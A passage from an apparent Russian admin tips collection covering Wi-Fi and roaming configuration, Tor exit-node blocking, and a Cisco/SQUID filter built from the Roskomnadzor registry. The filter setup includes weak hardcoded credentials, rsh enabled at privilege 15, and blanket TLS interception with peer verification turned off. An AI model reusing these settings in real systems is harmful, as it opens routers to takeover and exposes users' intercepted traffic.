       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKeyID=3
       wlanctl-ng wlan0 dot11req_mibset mibattribute=dot11WEPDefaultKey3=12:34:56:78:9A
    
    6. Конфигурируем IP
       ifconfig wlan0 192.168.1.100 netmask 255.255.255.0 broadcast 192.168.1.255
       route add default gw 192.168.1.11
    
     
    ----* Настройка беспроводной 80211 карты под FreeBSD (доп. ссылка 1)   Автор: toxa  [комментарии]
     
    kldload bridge
    sysctl net.link.ether.bridge.enable="1"
    sysctl net.link.ether.bridge.config="wi0,fxp0"
    sysctl net.inet.ip.forwarding="1"
    ifconfig wi0 ssid toxawlan channel 11 media DS/11Mbps mediaopt hostap up stationname "toxawlan"
    
     
    ----* Бесшовная миграция (роуминг) Wi-Fi для клиентов Linux и Android (доп. ссылка 1) (доп. ссылка 2)   Автор: sfstudio  [комментарии]
     
    С wpa_supplicant из GIT теперь можно настроить в Linux прозрачную миграцию,
    позволяющую переключиться на другую точку доступа без разрыва соединений
    приложений, в том числе продолжается вещание мультикастовоего IPTV, а
    выполнение iperf в большинстве случаев не умирает, а лишь деградирует по
    скорости в момент миграции. При этом даже корректно отрабатывает вариант с
    несколькими AP в разных поддиапазонах 5ГГц.
    
    Для настройки роуминга потребуется (на примере Mageia Linux 5):
    
    1) wpa_supplicant из git. Можно взять подготовленный автором src.rpm
    
        wget http://wive-ng.sf.net/downloads/wpa_supplicant-2.6-1.mga5.src.rpm 
    
    и собрать командой
    
       rpmbuild --rebuild wpa_supplicant-2.6-1.mga5.src.rpm
    
    2) переключить его на использование nl80211 вместо wext, драйвер вашего
    wifi-модуля должен полностью поддерживать nl80211 (при использовании wext
    всегда будут долгие периоды реконнекта с потерей соединений пользовательских
    приложений) так как требуется, чтобы SME был на уровне wpa_supplicant.
    
    Большинство дистрибутивов по умолчанию использует WEXT, т.е. до сих пор далеко
    не все драйверы wifi, даже входящие в состав ядра, умеют nl80211 (iwlwifi точно
    умеют, ath*k тоже должны, в rt28xxx  по факту даже сканирование не работает).
    Проверить, что используется на данный момент, можно, посмотрев, с какими
    опциями запущен supplicant
    
       ps ax | grep wpa_supplicant 
    
    должен выдать что-то типа 
    
       25201 ? Ss 0:01 /usr/sbin/wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant.conf -D nl80211 -f /var/log/wpa_supplicant.log
    
    Для этого редактируем /etc/sysconfig/network-scripts/ifcfg-имя_интерфейса
    
    Важно установить:
    
       WIRELESS_WPA_DRIVER=nl80211
       WIRELESS_WPA_REASSOCIATE=no
       MII_NOT_SUPPORTED=yes
       USERCTL=yes
    
     В /etc/wpa_supplicant.conf везде отключаем рандомизацию MAC. Включаем фоновое сканирование:
    
       bgscan="simple:30:-60:200"
    
    Т.е. при уровне ниже -60 будем начинать время от времени "щупать эфир" на
    предмет наличия кандидатов для миграции и по возможности мигрировать. Вместо
    фонового сканирования можно было бы использовать данные из RRM, но этой логики
    в wpa_supplicant пока нет.
    
    
    Также следует обратить внимание на используемый DHCP-клиент. Важно, чтобы он не
    сбрасывал адрес на интерфейсе (иначе сбросится состояние соединений приложений)
    по сигналу от ifplugd. Я использую штатный "
    "Internet Systems Consortium DHCP Client 4.3.3-P1". Ну и естественно, точки
    доступа и опорная сеть должны нормально отрабатывать ситуацию с перемещением клиентов.
    
    В прошивке Wive-NG для этого сделано абсолютно всё, что возможно. Больше ничего
    не требуется. Проверено на адаптерах Intel I3160/I7260. Выпинывать их
    принудительно не надо - оно само инициирует переход без всяких проблем. Под
    Windows эти карты ведут себя аналогично, т.е. без проблем мигрируют с
    сохранением пользовательских соединений, достаточно лишь в настройках драйвера
    увеличить агрессивность роуминга.
    
    
    
    
    Настройка миграции Android-устройств с беспроводными чипами от Atheros/Qualcomm.
    
    
    Достаточно давно atheros/qualcomm добавили в свои драйверы вполне внятную
    логику handover (миграции внутри плоской L2 сети, с точки зрения клиента,  с
    множественными AP, на которых установлен один SSID). Собственно, тот самый
    роуминг, да ещё и бесшовный (ну если используемые AP не совсем плохи и умеют
    моментально передавать в опорную сеть критичные данные, например, ARP-ы для
    обновления ARP-таблиц на устройствах в сети + ещё ряд условий на тему кривости).
    
    Теперь о проблеме. Handover есть, сеть с нормальными AP есть, но чтобы клиент
    мигрировал, по-прежнему требуется пинок, иначе висит до последнего... Что
    делать и кто виноват?
    
    Для продолжения нужно само устройство, обязательно рутованное, обязательно
    использующее радио на чипе qualcomm (например yota phone 2).
    
    Перемонтируем разделы в RW, идём в /system/etc/wifi, видим там файл
    WCNSS_qcom_cfg.ini - собственно, это основной конфигурационный файл, читаемый
    драйвером wifi.
    
    Драйверы QCA сами реализуют слои SME/MLME, не экспортируя эти функции на плечи
    wpa_supplicant. И вся логика управления подключениями и миграцией возложена на
    них. Wpa_supplicant в Android собран с NO_ROAMING, а значит можно ожидать, что
    это сделано так же у всех абсолютно чипмэйкеров для Android (файлы
    конфигурации, естественно, разные, или же, как у Broadcom, интересующие нас
    параметры к исправлению задаются при компиляции, и изменить их на лету невозможно).
    
    Первая настройка, которая нас будет интересовать в файле конфигурации, это:
    
       # default value of this parameter is zero to enable dynamic threshold allocation
       # to set static roming threshold uncomment below parameter and set vaule
    
       gNeighborLookupThreshold=78
    
    Эта настройка напрямую отвечает за то, когда клиент начнёт пытаться искать
    кандидата (форсирует сканирование, или запросит список ближайших AP по RRM и
    проведёт короткую процедуру скана для подтверждения).  И значение у нас
    выставлено -78дБ...
    
    И вроде бы всё хорошо, но... Мы как обычно забыли, что то, что слышит клиент и
    то, что слышит AP, может отличаться по уровню на десятки дБ. Обычно в
    android-клиентах передатчик в 20МГц полосе может выдать 16дБм, в 40МГц в лучшем
    случае 14дБм. Тогда как со стороны AP обычно имеем как минимум 20дБм дури даже
    в 40МГц полосе (обычно определяется законодательными ограничениями конкретной
    страны, для РФ 20дБм в 2.4ГГц и 23дБм в 5ГГц независимо от ширины, хоть в 80МГц
    эти 23дБм, хоть в 20МГц). Из опыта, при таком раскладе в среднем перекос по
    уровням в прямой видимости уже в 10 метрах будет составлять около 10-15 Дб, а
    если есть преграды, то запросто перевалит и за 30 Дб.
    
    Но возьмём 10дБ для простоты. Т.е. когда клиент видит AP с уровнем в -78дБ, AP
    видит клиента уже с уровнем около -88дБ. Стоит говорить, что нормальной работы
    при таком раскладе уже не будет (особенно в 2.4ГГц в зашумленном эфире офиса)?
    TCP, требующий подтверждения доставки, просто встанет колом, голос начнёт
    квакать и т.д.
    
    Что бы этого избежать (плюс приземлить побольше клиентов, ведь для этого надо
    заставить всех работать на самой ближней AP, желательно с максимальными рэйтами
    и без повторов передачи), админ в сети наверняка на AP настроил handoff с
    уровнем эдак в -75дБ. Т.е. при -75дБ RSSI handoff со стороны AP застрелит
    такого клиента (при этом на клиенте уровень от AP будет аж -65дБ, т.е. далеко
    до заветных -78дБ, когда он решит подумать мигрировать). Т.е. будет link beat,
    сброс стэйтов и обрыв соединений на пользовательской стороне.
    
    Ещё пример - когда AP видит клиента с уровнем в -75дБ, клиент видит AP с
    уровнем -65дБ!! Или, когда на клиенте видим -78дБ, то со стороны AP клиент
    будет слышен лишь с  уровнем -88дБ.
    
    Т.е. что бы обеспечить нормальный сервис, мы должны отстреливать клиента сильно
    раньше, чем он сам подумает мигрировать (имеется в виду, с вышеозначенными
    умолчаниями в драйвере).
    
    Или же нам придётся снижать мощность на AP что бы "уравнять" шансы, что в
    условиях грязного эфира может привести к катастрофическому падению SNR и как
    следствие бульканью, хрипам и прочему.
    
    А вот чтобы этого не происходило, достаточно выше обозначенную переменную
    поправить, выставив значение в диапазоне -65 ~ -70дБ.
    
    Побочный эффект - чуть упадёт скорость у клиента, так как чаще будет
    выполняться фоновые сканирования, плюс незначительно вырастет
    энергопотребление. Зато у него "будет повод" начать смотреть, кто есть вокруг,
    и попытаться мигрировать, не дожидаясь, пока его выпнет точка доступа.
    
    Следующий блок:
    
       # CCX Support and fast transition
     
       CcxEnabled=0
       FastTransitionEnabled=1
    
    
    CcxEnabled - это поддержка rrm ccx location-measurement, т.е. определения
    местоположения. Зачастую бесполезна и лишь будет расходовать аккумулятор.
    
    FastTransitionEnabled - поддержка 802.11R, однако в старых драйверах не полная,
    но хотя бы умеет учитывать MDIE при миграции (работает всегда, если переменная
    в значении 1). Заметим, что FT, а именно ускорение фазы аутентификации просто
    при взводе значения переменной в 1 работать не начнёт, так как требуется ещё
    пропатчить Supplicant  и обвязку андроидную (как это делает, например, Samsung
    в своих топовых моделях). Однако, учёт MDIE - уже польза. Включаем.
    
    Не забываем также отключить 802.11d,  иначе встретим много чудес в 5ГГц с DFS
    каналами. Пусть использование или не использование оных лежит на совести админа сети.
    
       # 802.11d support
    
       g11dSupportEnabled=0
    
    Далее блок:
    
       # Legacy (non-CCX, non-802.11r) Fast Roaming Support
       # To enable, set FastRoamEnabled=1
       # To disable, set FastRoamEnabled=0
    
       FastRoamEnabled=1
    
    Включает возможность миграции в любых сетях. Иначе, логика  handover будет
    активироваться, только если клиент видит, что AP вещает поддержку 802.11R в
    IECAP. И/или используется WPA*-Enterprise.
    
    
    В новых драйверах, поставляемых в SDK для Android 6.0.1, добавлена ещё одна прекрасная опция:
    
       # Handoff Enable(1) Disable(0)
    
       gEnableHandoff=0
    
    Эта опция (если выставить в 1) позволяет обрабатывать handoff с пинком со
    стороны AP как сигнал к миграции, т.е. банально не генерируется LinkBeat при
    kickout со стороны AP, а сразу выполняется попытка перескочить на следующую
    подходящую выбранную сканом AP, и только если не получилось сгенерировать Link
    Beat системе (т.е. о том, что его выпнули (kickout), знает только драйвер, и
    сразу пытается мигрировать, если не получается, то тогда уже сообщает системе,
    что всё, связи с этой сетью больше нет, надо выбрать другой SSID из тех,
    которые знает Android).
    
    Пользовательские соединения при этом останутся целыми (ну разве что iperf
    пострадает, но мессенджеры и голос останутся работать, правда в случае голоса
    будет квак).
    
    Это слегка нарушает "стандарт" 802.11, но в случае миграции очень полезная
    штука. После её включения, устройство прозрачно (с точки зрения запущенных
    приложений) сможет мигрировать даже в сетях, где весь роуминг построен
    исключительно на отстрелах клиента по уровню.
    
    А вот ещё одна крайне полезная настройка:
    
       #Check if the AP to which we are roaming is better than current AP in terms of RSSI.
       #Checking is disabled if set to Zero.Otherwise it will use this value as to how better
       #the RSSI of the new/roamable AP should be for roaming
    
       RoamRssiDiff=5
    
    Дельта уровней между AP для выбора кандидата при миграции. Больше значение -
    меньше вероятность прилететь назад на ту же AP, но более отложенный старт
    миграции. Установленных по умолчанию 5дБ  маловато. Нужно иметь дельту около
    8-10дБ. Для начала выставим 8.
    
       RoamRssiDiff=8
    
    Ещё интересная штука:
    
       #Beacon Early Termination (1 = enable the BET feature, 0 = disable)
    enableBeaconEarlyTermination=1
    
       beaconEarlyTerminationWakeInterval=11
    
    Эта опция откидывает все маяки, если в этих фрэймах  не взведён бит TIM, а
    клиент спит. Т.е. во сне клиент не может вести пассивный сбор данных о соседних
    AP. Хорошо для аккумулятора - вероятно, плохо для миграции (надо глубже копать драйвер).
    
       gActiveMaxChannelTime=60
       gActiveMinChannelTime=30
       gActiveMaxChannelTimeConc=60
       gActiveMinChannelTimeConc=30
    
    Настройки времени прослушивания эфира при активном сканировании поканально, в
    мс. Больше значения - больше времени уйдёт на сканирование всего диапазона.
    Меньше время - быстрее просканируем, но можем половину не услышать.
    
    RRM включается так:
    
       # 802.11K support
       gRrmEnable=1
       gRrmOperChanMax=8
       gRrmNonOperChanMax=8
       gRrmRandIntvl=100
    
    Правда, я на доступных мне железках (в смысле, на тех, в которых было выключено
    и включил, на SGS A5 2017 запросы есть, но там и так всё с миграцией
    более-менее) так и не дождался ни одного запроса с использованием RRM от Yota
    Phone. Видимо, отключена поддержка при сборке драйвера.
    
    Это основное, что касается миграции.
    
    Да и ещё:
    
       # 1: Enable standby, 2: Enable Deep sleep, 3: Enable Mcast/Bcast Filter
       gEnableSuspend=3
    
    По умолчанию обычно 0. В таком режиме клиент при переходе в режим сна (часто
    просто при выключении экрана) полностью тушит RF часть, временно просыпаясь
    только для того, чтобы AP его по таймауту не выпнула. При этом, реализация
    такова, что и роумингу зачастую становится плохо. Следует установить его в 3,
    т.е. фильтровать броадкасты и мультикасты во сне, и только.
    
    В файле конфигурации ещё много интересных параметов. Например, куча настроек
    для энергосбережения, если поотключать которые, миграция становиться более
    весёлой и точной, но батарея...
    
    Ну и на закуску:
    
       #Channel Bonding
       gChannelBondingMode24GHz=1
       gChannelBondingMode5GHz=1
       gShortGI20Mhz=1
       gShortGI40Mhz=1
    
    Поддержка широких каналов (>20МГц) + поддержка SGI. Зачастую для 2.4ГГц
    поддержка 40МГц отключена, т.е. gChannelBondingMode24GHz установлен в 0. Что,
    во-первых, не позволяет работать на максимальных рэйтах (150Мбит/с для 1T1R в
    2.4ГГц при 40МГц, будет только 72). Увы, проблема в том, что видимо для первого
    соединения значение перекрывается откуда-то ещё, и даже выставив
    gChannelBondingMode24GHz=1, сразу мы 150Мбит/с не видит. Но после первой же
    миграции драйвер плюёт на всех и взлетает в 40МГц полосе.
    
    Также установка gChannelBondingMode24GHz решает проблему совместимости с
    некоторыми 2.4ГГц AP на Xiaomi и One+ (как обычно, намутили с анонсами в
    зависимости от региона, в итоге AP и клиент не могут договориться, в какой
    полосе разговаривать).
    
    Не забываем после правки сохранить, перемонтировать назад системный раздел в RO и перезагрузиться.
    
     

       Ограничение трафика

    ----* Как заблокировать вход пользователей, работающих через сеть Tor   [комментарии]
     
    Список точек выхода сети Tor, с которых инициируются исходящие соединения,
    можно загрузить на официальном сайте проекта Tor:
    
       https://check.torproject.org/cgi-bin/TorBulkExitList.py
    
    или используя неофициальные архивы:
    
       http://torstatus.info/ip_list_all.php/Tor_ip_list_ALL.csv
       https://www.dan.me.uk/torlist/
    
    
    По указанным адресам выдаются списки IP-адресов, которые можно использовать для
    блокирования межсетевым экраном/HTTP-сервером или привязки метки через модуль geo_ip.
    
    Пример блокирования через ipfw:
    
       ipfw table 1 flush 
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | grep -v "^#" | while read cnt ip; do
          /sbin/ipfw table 1 add $ip 1
       done
       ipfw add deny all from "table(1)" to any via em1
    
    Для выставления флага через модуль ngx_http_geo_module в nginx:
    
       curl https://check.torproject.org/cgi-bin/TorBulkExitList.py?ip=8.8.8.8 | 
          grep -v "^#" |  sed 's/$/ tor;/' > /usr/local/etc/nginx/tor.conf 
    
    в nginx.conf:
    
       geo  $country  {
    	include          /usr/local/etc/nginx/tor.conf
       }
    
    далее для блокировки можно добавить проверку:
       if ($country = 'tor') {
    	...
       }
    
     
    ----* Построение системы фильтрации контента по реестру Роскомнадзора на базе CISCO и FreeBSD (доп. ссылка 1)   Автор: Пережилин Юрий  [комментарии]
     
    В статье подробно рассмотрен один из вариантов фильтрации трафика по реестру
    Роскомнадзора с помощью SQUID на базе FreeBSD, состыкованного с бекбоне CISCO
    по протоколу WCCP2.
    
    После долгих размышлений на тему фильтрации, производительности (если пустить в
    фильтр весь http-трафик, то фильтрация должна осуществляться на скоростях более
    гигабита в секунду), была выбрана следующая схема:
    
    
    
    Трафик HTTP и HTTPS, выходящий из облака нашей сети (в примере VLAN90) через
    наш бордер CISCO, мы будем сравнивать с ACL, содержащим IP-адреса, извлеченные
    из списка Роскомнадзора. В случае совпадения, мы отправляем трафик по протоколу
    WCCP (Web Cache Communication Protocol) на сервер(а)  SQUID. Данная схема
    позволит нам избежать анализа всего трафика и анализировать только тот, который
    идет на заявленные IP, что не может не сказаться положительно на общей
    производительности системы.
    
    Из минусов данной связки следует, что допустим если внесенный в реестр ресурс с
    IP=3.3.3.3, доменом=bad.xxx и URL=http://www.bad.xxx/1.jpg переезжает на другой
    IP, то фильтр работать не будет. Но с другой стороны актуализация списков
    блокировки, это не наша проблема. Данный подход позволит нам с одной стороны не
    тратится на дорогостоящие системы анализа проходящего трафика, с другой стороны
    исключить "пионерский" подход блокировки всего ресурса по IP, а
    блокировать только указанный в реестре Роскомнадзора контент. Связку по WCCP
    лучше поднимать на приватных адресах, что бы не писать лишние ACL в SQUID .
    
    И так, приступим к реализации. Для начала нам надо вытащить электронную подпись
    с рутокена, полученного в роскомнадзоре. Для этого воспользуемся утилитой
    P12FromGostCSP, и экспортируем подпись в формате PKSC#12.
    
    
    
    Если экспорт удался, то можем перейти далее к построению системы. Если экспорт
    не удался (у меня в одном случае из четырех было именно так), то автоматическая
    загрузка реестра Роскомнадзора будет не доступна, и Вам придется файл качать и
    выкладывать реестр руками.
    
    Берем любой сервер на базе FreeBSD (я предпочитаю данную ОС, но ничего не
    мешает Вам сделать по образу и подобию на любой *NIX машине), на котором мы
    будем заниматься загрузкой базы Роскомнадзора, ее обработкой и у меня этот же
    сервер как правило обеспечивает анализ и фильтрацию контента. Так как системный
    OpenSSL в FreeBSD не поддерживает шифрование ГОСТ, ставим свежую версию из
    портов. Это не затрагивает работоспособность всей системы, и портовый OpenSSL
    прекрасно существует параллельно системному:
    
       # which openssl
       /usr/bin/openssl
       # openssl version
       OpenSSL 0.9.8y 5 Feb 2013
       # /usr/local/bin/openssl version
       OpenSSL 1.0.1e 11 Feb 2013
       #
    
    Находим файл /usr/local/openssl/openssl.cnf и пишем в конец файла:
    
       [openssl_def]
       engines = engine_section
       [engine_section]
       gost = gost_section
       [gost_section]
       default_algorithms = ALL
       engine_id = gost
       #dynamic_path = /usr/local/lib/engines/libgost.so
       CRYPT_PARAMS = id-Gost28147-89-CryptoPro-A-ParamSet
       
    В начало этого файла пишем :
    
       openssl_conf = openssl_def
    
    Копируем на сервер наш сертификат в формате PKSC#12 и конвертируем его в формат PEM:
    
       /usr/local/bin/openssl pkcs12 -in p12.pfx -out cert.pem -nodes -clcerts
    
    Подготавливаем структуру директорий для работы наших скриптов и копируем туда
    сконвертированный сертификат:
    
       mkdir /var/db/zapret-info/
       mkdir /var/db/zapret-info/cfg
       mkdir /var/db/zapret-info/arch
       cp cert.pem /var/db/zapret-info/cfg/
       mkdir /tftpboot
    
    Создаем файл запрос в соответствии с требованиями Роскомнадзора (где данные
    между тэгами изменены на данные вашей фирмы):
    
       echo '<operatorName>ООО "РОГА И КОПЫТА"</<operatorName>' > /var/db/zapret-info/cfg/request.xml
       echo '<inn>00XXXXXXXXXX</inn>' >> /var/db/zapret-info/cfg/request.xml 
       echo '<ogrn>XXXXXXXXXXXXX</ogrn>' >> /var/db/zapret-info/cfg/request.xml
       echo '<email>info@rogaikopita.ru</email>' >> /var/db/zapret-info/cfg/request.xml
    
    В зависимости от раскладок системной консоли полученный файл
    /var/db/zapret-info/cfg/request.xml необходимо сконвертировать в кодировку WINDOWS-1251.
    
    Скачиваем нижеприложенные скрипты. Скрипт download.pl был найден мной на
    просторах Интернета и  упрощен, в оригинале он был чуток более замороченный.
    Задача данного скрипта - создать, подписать и отправить запрос в
    Роскомнадзор и загрузить реестр после отправки.
    
    
       #!/usr/bin/perl -w
    
       use strict;
       use SOAP::Lite;
       use MIME::Base64;
       use Sys::Syslog qw(:DEFAULT setlogsock);
       use POSIX qw(strftime);
    
       # XXX dirty!!!
       binmode STDOUT, ':utf8';
       binmode STDERR, ':utf8';
    
    
       my $BASE = "/var/db/zapret-info";
    
       my %n;
       ($n{sec},$n{min},$n{hour},$n{mday},$n{mon},$n{year},$n{wday},$n{yday},   $n{isdst}) = localtime(time());
       $n{year}+=1900;
       $n{mon}++;
       $n{mon}=~s/^(\\d)$/0$1/;
       $n{mday}=~s/^(\\d)$/0$1/;
       $n{hour}=~s/^(\\d)$/0$1/;
       $n{min}=~s/^(\\d)$/0$1/;
       $n{sec}=~s/^(\\d)$/0$1/;
       my $dt="$n{year}-$n{mon}-$n{mday}T$n{hour}:$n{min}:$n{sec}.000+04:00";
       my $dd="$n{year}$n{mon}$n{mday}$n{hour}";
    
       my $service = SOAP::Lite->service("http://www.zapret-info.gov.ru/services/OperatorRequest?wsdl");
    
       my $reqfn = "$BASE/request-$dd.xml";
       my $binfn = "$BASE/request-$dd.bin";
       my $xmlreqfn = "$BASE/cfg/request.xml";
       my $certfn = "$BASE/cfg/cert.pem";
    
       my $request="" ;
       open (XML, "<$xmlreqfn");
       while (<XML>) { $request .= $_; }
       close (XML);
    
       die "Resuest template not found in $xmlreqfn." if (length($request)==0);
    
       open (XMLREQ, ">$reqfn") or die "Can't create new request";
       print XMLREQ "<?xml version=\\"1.0\\" encoding=\\"windows-1251\\"?>\\n";
       print XMLREQ "<request>\\n\\t<requestTime>$dt</requestTime>\\n";
       print XMLREQ $request;
       print XMLREQ "</request>";
       close XMLREQ;
    
       system ("/usr/local/bin/openssl smime -sign -in $reqfn -out $binfn".
                " -signer $certfn -outform DER -nodetach");
    
    
       open XMLREQ, "<$reqfn" or die "Can't open $reqfn";
       my $xmlreq = do { local $/ = undef; <XMLREQ>; };
       close XMLREQ;
    
       open XMLREQSIG, "<$binfn" or die "Can't open $binfn";
       my $xmlreqsig = do { local $/ = undef; <XMLREQSIG>; };
       close XMLREQSIG;
    
       my @sendresult = $service->sendRequest(
            $xmlreq,
            $xmlreqsig );
    
       if ($sendresult[0] eq 'false') {
           mylog("error request $sendresult[1]");
       } elsif ($sendresult[0] eq 'true') {
           open (CODESTRING, ">$BASE/codestring");
           print CODESTRING $sendresult[2];
           close CODESTRING;
           mylog("sent request $binfn: $sendresult[1]");
       };
    
       if (-e "$BASE/codestring") {
           open CODESTRING, "$BASE/codestring";
           my $codestring = <CODESTRING>;
           close CODESTRING;
    
           my $cnt = 0;
           while(1) {
               my @getresult = $service->getResult($codestring);
               if ($getresult[0] eq 'false') {
                   mylog ("$getresult[1]");
                   sleep 60;
               } elsif ($getresult[0] eq 'true') {
                   my $outarch = decode_base64($getresult[1]);
                   open (OUT, ">$BASE/out.zip");
                   print OUT $outarch;
                   close OUT;
                   unlink "$BASE/codestring";
    
                   if (-e "$BASE/out.zip") {
                       system("/bin/mv $reqfn $BASE/arch/");
                       system("/bin/mv $binfn $BASE/arch/");
                       system("/bin/cp $BASE/out.zip $BASE/arch/out-$dt.zip");
                       system("/usr/bin/unzip -o $BASE/out.zip -d $BASE/dump");
                       unlink "$BASE/out.zip";
                       mylog ("Done.  Everything seems to be ok.");
                       exit 0;
                   };
                   mylog("Shouldn't reach. DEBUG ME!!!");
                   exit 255;
               } else {
                   mylog ("getresult is unknown");
                   exit 255;
               };
               $cnt++;
               if ($cnt>30) {
                   mylog ("too much tries, bailing out");
                   exit 255;
               }
               };
               # notreached
       
       } else {
               mylog ("codestring file not found");
       };
       
       sub mylog {
           my $logstring = $_[0];
           my($now_string);
           $now_string = strftime "%d-%m-%Y %H:%M:%S", localtime;
           print(STDERR $now_string." ".$logstring."\\n");
       };
    
       
    В задачи скрипта xml-paser.pl входит обработка полученного реестра и подготовка
    двух файлов - block.acl и denied.conf. Файл block.acl содержит правила
    для нашей cisco и как правило загружается по tftp. Файл denied.conf содержит
    URL для редиректора SQUID. Скрипт анализирует, префикс http или https указан в
    URL и в соотвествии с данным префиксом генерирует ACL для CISCO. Для ресурсов с
    множественныйми IP и/или URL, скрипт генерирует два ACL - как по порту
    www, так и по порту 443 (так как реестр сам по себе сырой, и такие записи не
    предусматривают однозначной трактовки какой протокол на каком IP использовать).
    
    
    
       #!/usr/bin/perl
       
       use XML::Simple;
       use Data::Dumper ;
       use Encode ;
       use URI::Escape;
       use Text::Iconv;
       
       $db_path='/var/db/zapret-info/' ;
       $tftp_root='/tftpboot' ;
       $query_ip='XXX.XXX.XXX.XXX' ;
       
       $simple=XML::Simple->new(       KeepRoot=>1,
                                       RootName=>'reg:register'
       );
       $xml=$simple->XMLin($db_path.'dump/dump.xml');
       my %list = %{$xml->{'reg:register'}->{'content'}};
       
       open(FURL, ">${db_path}denied.conf");
       open(FACL, ">${tftp_root}/block.acl");
       open(FTMP, ">/tmp/block.ip");
       print(FACL "no ip access-list extended WCCP_REDIRECT\\n");
       print(FACL "ip access-list extended WCCP_REDIRECT\\n");
       print(FACL "deny tcp host ${query_ip} any\\n");
       
       sub _url {
           eval {
               $url=shift;
               $url=~s/ //g;
               $url=uri_escape_utf8($url, "^A-Za-z0-9\\-\\._~:/\\?\\=\\&\\%");
               print(FURL $url."\\n");
           }
       }
       
       while ( my($key, $value) = each %list) {
           my $domain=$value->{'domain'} ;
           my $ip=$value->{'ip'} ;
           my $url=$value->{'url'} ;
       
           if(ref($ip) eq 'ARRAY'){
               my @ip_list=@{$ip};
               foreach $ip (@ip_list) {
                   print(FTMP "$ip eq $port\\n");
                   print(FTMP "$ip eq 443\\n");
               }
           } else {
               my $proto=substr($url, 0, 5) ;
               if ("\\L$proto" eq 'https') {
                   $port = '443';
               } else {
                   $port = 'www';
               }
               print(FTMP "$ip eq $port\\n");
           }
       
           if(ref($url) eq 'ARRAY'){
               my @url_list=@{$url};
               foreach $url (@url_list) { _url($url); }
           } else { _url($url); }
       }
       
       close(FTMP);
       open(FTMP ,"sort -u /tmp/block.ip|");
       while (<FTMP>) {
           $ip=$_;
           $ip=~s/
       //g;
           print(FACL "permit tcp any host $ip \\n");
       }
       close(FTMP);
       print(FACL "deny ip any any\\n");
       print(FACL "!\\n");
       print(FACL "end\\n");
       close(FACL);
       close(FURL);
       
       open(SER ,"${db_path}/serial");
       read(SER,$serial,6);
       close(SER);
       
       if (length($serial)==0) { $serial=0; }
       
       $serial+=1;
       
       open(SER ,">${db_path}/serial");
       printf(SER "%06d",$serial);
       close(SER);
       
       exit 0;
       
    
    В начале данного файла надо установить значение переменных, в соответсвии с
    Вашими настройками. Переменная $tftp_root должна быть установлена в
    соответствии с настройками Вашего tftp-сервера, переменная $query_ip должна
    содержать  IP-адрес интерфейса сервера, через который посылается в Интернет
    фильтрованный трафик, для исключения образования кольцевой обработки запросов.
    
    Для работы скриптов нам требуется установить следующие порты :
    
       cd /usr/ports/net/p5-SOAP-Lite; make install 
       cd /usr/ports/converters/p5-MIME-Base64; make install
       cd /usr/ports/sysutils/p5-Sys-Syslog; make install
       cd /usr/ports/textproc/p5-XML-Simple; make install
       cd /usr/ports/devel/p5-Data-Dumper; make install
       cd /usr/ports/converters/p5-Encode; make install
       cd /usr/ports/net/p5-URI; make install
       cd /usr/ports/converters/p5-Text-Iconv; make install
    
    На данном этапе мы реализовали получение и разбор реестра Роскомнадзора в
    требуемый для нас вид. Переходим к настройке нашего железа.
    
    Конфигурируем CISCO для работы с сервером SQUID по WCCP. Группа 0 используется
    для отсылки http-трафика, группа 70 - для отсылки https-трафика.
    
       ip wccp 0 redirect-list WCCP_REDIRECT group-list 10 accelerated
       ip wccp 70 redirect-list WCCP_REDIRECT group-list 10 accelerated
       access-list 10 remark +++ WCCP_SQUID_PROXY +++
       access-list 10 permit 1.1.2.2
    
    Создаем пользователя, который будет грузить access-листы и настраиваем rsh.
    
       username blocker privilege 15 password password
       no ip rcmd domain-lookup
       ip rcmd rsh-enable
       ip rcmd remote-host blocker 1.1.2.2 root enable
    
    Ставим из портов SQUID. При выборе опций обязательно контролируем, что WCCP и
    WCCP2 протоколы включены. Создаем конфиг (в примере для версии 3.2) /usr/local/etc/squid/squid.conf
    
       http_port 1.1.2.2:9090
       http_port 1.1.2.2:3128 transparent
       https_port 1.1.2.2:3129 transparent ssl-bump generate-host-certificates=on dynamic_cert_mem_cache_size=4MB cert=/usr/local/etc/squid/squid.pem
       always_direct allow all
       ssl_bump allow all
       sslproxy_cert_error allow all
       sslproxy_flags DONT_VERIFY_PEER
       sslcrtd_program /usr/local/libexec/squid/ssl_crtd -s /var/squid/ssl_db -M 4MB
       icp_port 0
       hierarchy_stoplist cgi-bin ?
       acl QUERY urlpath_regex cgi-bin \\?
       cache deny QUERY
       acl apache rep_header Server ^Apache
       cache_mem 1 MB
       cache_swap_low 90
       cache_swap_high 95
       maximum_object_size 1 KB
       maximum_object_size_in_memory 50 KB
       cache_replacement_policy heap LFUDA
       cache_dir ufs /var/squid/cache 1 1 1 no-store
       logfile_rotate 7
       dns_nameservers 8.8.8.8 8.8.4.4
       hosts_file /etc/hosts
       refresh_pattern ^ftp: 1440 20% 10080
       refresh_pattern ^gopher: 1440 0% 1440
       refresh_pattern . 0 20% 4320
       quick_abort_min 0 KB
       quick_abort_max 0 KB
       half_closed_clients off
       acl purge method PURGE
       acl CONNECT method CONNECT
       acl SSL_ports port 443
       acl Safe_ports port 80
       acl Safe_ports port 443 # https
       acl Safe_ports port 1025-65535 # unregistered ports
       http_access allow manager localhost
       http_access deny manager
       http_access allow purge localhost
       http_access deny purge
       http_access deny !Safe_ports
       http_access deny CONNECT !SSL_ports
       http_access allow localhost
       http_access allow all
       http_reply_access allow all
       icp_access allow all
       cache_mgr info@my.domain
       cache_effective_group proxy
       memory_pools off
       log_icp_queries off
       cachemgr_passwd q1w2e3r4 all
       client_db off
       buffered_logs on
       wccp2_router 1.1.2.1
       wccp2_forwarding_method 2
       wccp2_return_method 2
       wccp2_assignment_method 2
       wccp2_service dynamic 0
       wccp2_service_info 0 protocol=tcp flags=dst_ip_hash,dst_port_hash priority=240 ports=80
       wccp2_service dynamic 70
       wccp2_service_info 70 protocol=tcp flags=dst_ip_hash,dst_port_hash priority=240 ports=443
       wccp2_address 1.1.2.2
       redirect_program /usr/local/etc/squid/redirector.pl
       url_rewrite_children 20 startup=10 idle=1 concurrency=0
    
    Обратите внимание на строки wccp2_router и wccp2_address. Соответственно тут
    должны быть адреса на интерфейсе со стороны CISCO и SQUID. Трафик на сервер
    SQUID посылается путем замены MAC-адреса, без организации дополнительного GRE-тунеля.
    
    Скрипт редиректора копируется в  /usr/local/etc/squid/:
    
    
    
       #!/usr/bin/perl
    
       use IO::Handle;
       use POSIX qw(strftime);
       use POSIX qw(setsid);
       
